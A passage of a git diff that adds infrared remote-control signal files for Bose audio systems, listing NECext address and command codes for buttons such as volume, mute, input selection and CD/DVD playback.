00 +# +name: 25_STOP_58_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1A 00 00 00 +# +name: 18_PAUSE_D8_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1B 00 00 00 +# +name: 26_AM/FM_PRESET_+_B8 +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1D 00 00 00 +# +name: 27_AM/FM_PRESET_-_F8 +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 1F 00 00 00 +# +name: 29_RANDOM_DISK_52_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4A 00 00 00 +# +name: 14_OFF_32_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 4C 00 00 00 +# +name: 15_TAPE_4A_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 52 00 00 00 +# +name: 16_CD_CA_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 53 00 00 00 +# +name: 28_DISK_-_2A_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 54 00 00 00 +# +name: 19_PLAY_AA_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 55 00 00 00 +# +name: 18_PAUSE_6A_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 56 00 00 00 +# +name: 20_FAST_REV_EA_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 57 00 00 00 +# +name: 21_FAST_FWD_1A_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 58 00 00 00 +# +name: 22_RANDOM_3A_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 5C 00 00 00 +# +name: 17_NEXT_DISK_BA_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 5D 00 00 00 +# +name: 30_MUTE_ALL_FB_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir new file mode 100644 index 000000000..36a873100 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_MUTE/UNMUTE_80_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 01 00 00 00 +# +name: 5_VOL_-_40_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 02 00 00 00 +# +name: 4_VOL_+_C0_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 03 00 00 00 +# +name: 7_AM_30_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0C 00 00 00 +# +name: 12_VIDEO_2_B0_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0D 00 00 00 +# +name: 11_VIDEO_1_70_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0E 00 00 00 +# +name: 13_AUX_F0_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 0F 00 00 00 +# +name: 8_FM_08_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 10 00 00 00 +# +name: 23_SKIP_REV_18_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 18 00 00 00 +# +name: 24_SKIP_FWD_98_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 19 00 00 00 +# +name: 25_STOP_58_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 1A 00 00 00 +# +name: 26_AM/FM_PRESET_+_B8 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 1D 00 00 00 +# +name: 27_AM/FM_PRESET_-_F8 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 1F 00 00 00 +# +name: 29_RANDOM_DISK_52_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 4A 00 00 00 +# +name: 14_OFF_32_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 4C 00 00 00 +# +name: 15_TAPE_4A_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 52 00 00 00 +# +name: 16_CD_CA_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 53 00 00 00 +# +name: 28_DISK_-_2A_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 54 00 00 00 +# +name: 19_PLAY_AA_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 55 00 00 00 +# +name: 18_PAUSE_6A_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 56 00 00 00 +# +name: 20_FAST_REV_EA_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 57 00 00 00 +# +name: 21_FAST_FWD_1A_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 58 00 00 00 +# +name: 22_RANDOM_3A_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 5C 00 00 00 +# +name: 17_NEXT_DISK_BA_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: 5D 00 00 00 +# +name: 30_MUTE_ALL_FB_A7 +type: parsed +protocol: NECext +address: BA E5 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir new file mode 100644 index 000000000..d450ded61 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 03 00 00 00 +# +name: MONO:5_DECODING_ON +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 04 00 00 00 +# +name: MONO:5_DECODING_OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 05 00 00 00 +# +name: AM/FM_INPUT_TOGGLE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 06 00 00 00 +# +name: CENTER_VOLUME_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 08 00 00 00 +# +name: CENTER_VOLUME_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 09 00 00 00 +# +name: SURROUND_VOLUME_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0A 00 00 00 +# +name: SURROUND_VOLUME_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0B 00 00 00 +# +name: AM_INPUT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0C 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0D 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0E 00 00 00 +# +name: AUX_INPUT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 0F 00 00 00 +# +name: FM_INPUT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 10 00 00 00 +# +name: DIGITAL_1 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 11 00 00 00 +# +name: DIGITAL_2 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 12 00 00 00 +# +name: DIGITAL_3 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 13 00 00 00 +# +name: DIGITAL_4 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 14 00 00 00 +# +name: NO_DIGITAL_INPUT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 15 00 00 00 +# +name: NO_DIGITAL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 15 00 00 00 +# +name: TOGGLE_1:5 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 16 00 00 00 +# +name: TOGGLE_DRC +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 17 00 00 00 +# +name: CD_TRACK_SKIP_\XAA +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 18 00 00 00 +# +name: SKIP_\XAA +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 18 00 00 00 +# +name: TRACK_SKIP_\XAA +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 18 00 00 00 +# +name: CD_TRACK_SKIP_\XBA +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: SKIP_\XBA +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: TRACK_SKIP_\XBA +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 19 00 00 00 +# +name: CD_\X86 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1A 00 00 00 +# +name: VIDEO_5_(SE-1) +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1C 00 00 00 +# +name: MRI_PRESET_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1D 00 00 00 +# +name: DYN_RNG_COMP_OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1E 00 00 00 +# +name: MRI_PRESET_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 1F 00 00 00 +# +name: FILM_EQ_OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 2F 00 00 00 +# +name: RANDOM_DISC_TOGGLE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4A 00 00 00 +# +name: STEREO_MODE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4B 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4C 00 00 00 +# +name: TREBLE_FLAT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4D 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4E 00 00 00 +# +name: FRONT_3_SPEAKER_MODE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 4F 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 50 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 51 00 00 00 +# +name: TAPE_INPUT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 52 00 00 00 +# +name: CD_INPUT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 53 00 00 00 +# +name: CD_DISC_SKIP_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 54 00 00 00 +# +name: CD_\X87 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 55 00 00 00 +# +name: CD_\X85 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 56 00 00 00 +# +name: SEEK_\XA0 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 57 00 00 00 +# +name: SEEK_\XB3 +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 58 00 00 00 +# +name: DYNA_RNG_COMP_ON +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 59 00 00 00 +# +name: TOGGLE_FEQ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5A 00 00 00 +# +name: BASS_FLAT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5B 00 00 00 +# +name: RANDOM_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5C 00 00 00 +# +name: RANDOM_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5C 00 00 00 +# +name: CD_DISC_SKIP_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5D 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5E 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 5F 00 00 00 +# +name: AMP_OFF +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 6F 00 00 00 +# +name: SURROUND_FLAT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: 9F 00 00 00 +# +name: AMP_ON +type: parsed +protocol: NECext +address: BA 55 00 00 +command: AF 00 00 00 +# +name: FILM_EQ_ON +type: parsed +protocol: NECext +address: BA 55 00 00 +command: CF 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 55 00 00 +command: DF 00 00 00 +# +name: CENTER_FLAT +type: parsed +protocol: NECext +address: BA 55 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir new file mode 100644 index 000000000..5b8284b59 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: 2-3-5 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 01 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 03 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 0B 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 18 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 20 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 49 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 4D 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 52 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 56 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 57 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 60 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 80 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 80 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA 01 00 00 +command: 9D 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA 01 00 00 +command: A0 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA 01 00 00 +command: C0 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: BA 01 00 00 +command: C0 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA 01 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA 01 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir new file mode 100644 index 000000000..169c37888 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: SPEAKERS_2-3-5 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 00 00 00 00 +# +name: MUTE_ZONE_#1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 01 00 00 00 +# +name: VOLUME_-_ZONE_#1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 02 00 00 00 +# +name: VOLUME_+_ZONE_#1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 03 00 00 00 +# +name: FM/AM_ZONE_#1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 06 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0A 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0B 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0D 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0E 00 00 00 +# +name: AUX_INPUT_ZONE_#1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 0F 00 00 00 +# +name: DVD_STOP +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 1A 00 00 00 +# +name: DVD_CURSOR_DOWN +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 20 00 00 00 +# +name: FM/AM_ZONE_#2 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 20 00 00 00 +# +name: DVD_EXIT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 30 00 00 00 +# +name: DVD_0 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 40 00 00 00 +# +name: DVD_1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 41 00 00 00 +# +name: FM_PRESET_1 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 41 00 00 00 +# +name: DVD_2 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 42 00 00 00 +# +name: FM_PRESET_2 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 42 00 00 00 +# +name: DVD_3 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 43 00 00 00 +# +name: FM_PRESET_3 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 43 00 00 00 +# +name: DVD_4 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 44 00 00 00 +# +name: FM_PRESET_4 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 44 00 00 00 +# +name: DVD_5 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 45 00 00 00 +# +name: DVD_6 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 46 00 00 00 +# +name: DVD_7 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 47 00 00 00 +# +name: DVD_8 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 48 00 00 00 +# +name: DVD_9 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 49 00 00 00 +# +name: ON_/OFF +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_ZONE_#1&2 +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 53 00 00 00 +# +name: DVD_PLAY +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 55 00 00 00 +# +name: DVD_PAUSE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 56 00 00 00 +# +name: DVD_SKIP_<< +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 57 00 00 00 +# +name: DVD_SKIP_>> +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 58 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 5C 00 00 00 +# +name: DVD_CURSOR_RIGHT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 60 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 80 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 90 00 00 00 +# +name: DVD_REPEAT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: 9D 00 00 00 +# +name: DVD_CURSOR_LEFT +type: parsed +protocol: NECext +address: BA 88 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: A0 00 00 00 +# +name: DVD_CURSOR_UP +type: parsed +protocol: NECext +address: BA 88 00 00 +command: C0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: BA 88 00 00 +command: C0 00 00 00 +# +name: DVD_GUIDE +type: parsed +protocol: NECext +address: BA 88 00 00 +command: D0 00 00 00 +# +name: DVD_ENTER +type: parsed +protocol: NECext +address: BA 88 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir new file mode 100644 index 000000000..bb750290b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir @@ -0,0 +1,908 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 01 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 01 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 01 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 01 00 00 00 +# +name: VOLYM_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 02 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 02 00 00 00 +# +name: VOLYM_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 03 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 03 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 05 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 06 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 06 00 00 00 +# +name: FM-AM +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 06 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0D 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0D 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0F 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 15 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 15 00 00 00 +# +name: CBL-SAT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 15 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 15 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 18 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 18 00 00 00 +# +name: TCPC_DOWN +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 18 00 00 00 +# +name: TRK/CHPTR/PRE/DWN +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE_DOWN +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 18 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 19 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 19 00 00 00 +# +name: TCPC_UP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 19 00 00 00 +# +name: TRK/CHPTR/PRESET/UP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 19 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 19 00 00 00 +# +name: STOPP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 1A 00 00 00 +# +name: CURSOR_NER +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 20 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 20 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 30 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A0 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA A0 